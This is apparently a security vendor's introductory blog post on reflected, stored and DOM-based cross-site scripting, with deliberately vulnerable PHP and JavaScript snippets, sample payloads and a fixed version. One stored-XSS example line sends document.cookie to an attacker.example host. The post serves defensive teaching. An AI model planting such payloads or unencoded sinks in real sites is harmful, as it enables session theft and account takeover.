Cross-Site Scripting

Cross-Site Scripting, Explained: Reflected, Stored and DOM-Based XSS

Cross-site scripting lets attacker-controlled input run as JavaScript in a victim's browser. Here is what XSS is, how its three variants differ, and the layered defence that shuts all of them down.

SelfSec Team3 min read
Part 1 of 6from theCross-Site Scriptingseries
<script>alert(1)</script>
On this page

Cross-site scripting (XSS) is what happens when an application lets untrusted input become part of the page's executable content. Instead of corrupting a database query like SQL injection, XSS corrupts the HTML and JavaScript the victim's browser runs. The browser trusts the page's origin, so it trusts the injected script with it — and runs that script with full access to the user's session.

XSS is not a single bug but a family of three. They differ in where the untrusted data enters and who renders it into the page. This post is the map: it covers what unites them and links out to a deep-dive for each variant.

How it happens

Every XSS bug is the same mistake in different clothing: data that the application expects to be inert text is instead interpreted as markup or code. The data crosses a trust boundary — a URL parameter, a stored comment, a postMessage event — and lands in a sink that builds the page without encoding it first.

$name = $_GET['name'];
echo "<h1>Welcome, " . $name . "</h1>";

For ?name=Alice this is fine. But name is attacker-controlled and is being dropped straight into HTML, so it can carry a tag instead of a name.

The three variants

The differences come down to the path the payload travels before it executes.

Reflected XSS — the input is sent in a request and immediately echoed back in the same response. The payload lives in the URL and fires only for whoever follows the crafted link.

https://shop.example/search?q=<script>alert(document.domain)</script>

Stored XSS — the payload is persisted server-side (a comment, a profile bio, a support ticket) and served to every viewer of that content, with no link to click.

<script>fetch('https://attacker.example/c?'+document.cookie)</script>

DOM-based XSS — the flaw is entirely client-side. JavaScript already on the page reads an attacker-controllable source and writes it into a dangerous sink. The payload can sit in the URL fragment, so the server never even receives it.

document.getElementById('out').innerHTML = location.hash.slice(1);

Reflected, stored and DOM-based are the same vulnerability class viewed from three angles — the question is only where the untrusted data enters and who renders it. Each has its own deep-dive in this series.

What an attacker gains

Once arbitrary JavaScript runs on the page, it acts with the victim's full authority:

  • Steal session cookies that are not marked HttpOnly, hijacking the account.
  • Read the DOM — CSRF tokens, profile data, anything rendered on the page.
  • Forge requests as the victim, including state-changing actions like email or password changes.
  • Rewrite the page to phish credentials inside a genuinely trusted origin.

The end state is frequently account takeover. Stored XSS amplifies this further: one injection can hit thousands of sessions, including the admins who moderate the content.

The fix: encode for context, then defend in depth

There is no single switch, but the variants share one root defence: context-aware output encoding. Encode data for the exact place it lands so the browser always reads it as text, never as markup or code.

$name = $_GET['name'];
echo "<h1>Welcome, " . htmlspecialchars($name, ENT_QUOTES, 'UTF-8') . "</h1>";

Now the < becomes &lt; and the browser sees inert text. Layer the rest on top:

  • Use a templating engine that auto-escapes by default, and keep encoding correct for the HTML, attribute, JavaScript and URL contexts.
  • For DOM sinks, prefer safe APIs like textContent and setAttribute over innerHTML, and adopt Trusted Types where supported.
  • Set a strict Content-Security-Policy that blocks inline scripts, so a single missed sink is far harder to exploit.
  • Mark session cookies HttpOnly and Secure so script cannot read them.

How SelfSec proves this one

Scanner behaviour
Module
Cross-Site Scripting
How it probes
Injects context-aware payloads into HTML, attribute, JavaScript and URL sinks, including mutation variants when a WAF sits in the path.
How it confirms
The payload has to survive into the rendered context it was aimed at; a reflection on its own does not promote the finding.

Reported as CWE-79 · ATT&CK T1059.007 · SARIF 2.1.0

A reflected response alone is not enough to promote a Cross-Site Scripting finding — the classical engine has to confirm the behaviour before it reaches the report. See the detection engine

SelfSec is intended strictly for authorized security testing of systems you own or are explicitly permitted to assess.

Do both things about Cross-Site Scripting

SelfSec covers this class from both sides — the scanner confirms it in your own app, the firewall blocks it in front of your origin while the fix ships.

The Cross-Site Scripting series

  1. 01OverviewCross-Site Scripting, Explained: Reflected, Stored and DOM-Based XSSReading
  2. 02BlindBlind XSS: When Your Payload Fires in an Admin Panel You Never See5 min
  3. 03DOM-BasedDOM-Based XSS: When the Vulnerability Never Touches the Server4 min
  4. 04Mutation (mXSS)Mutation XSS (mXSS): How the Browser's Parser Rewrites Your Sanitized HTML6 min
  5. 05ReflectedReflected XSS: How a URL Can Run Code in Someone Else's Browser3 min
  6. 06StoredStored XSS: One Injection, Every Visitor3 min

Related reading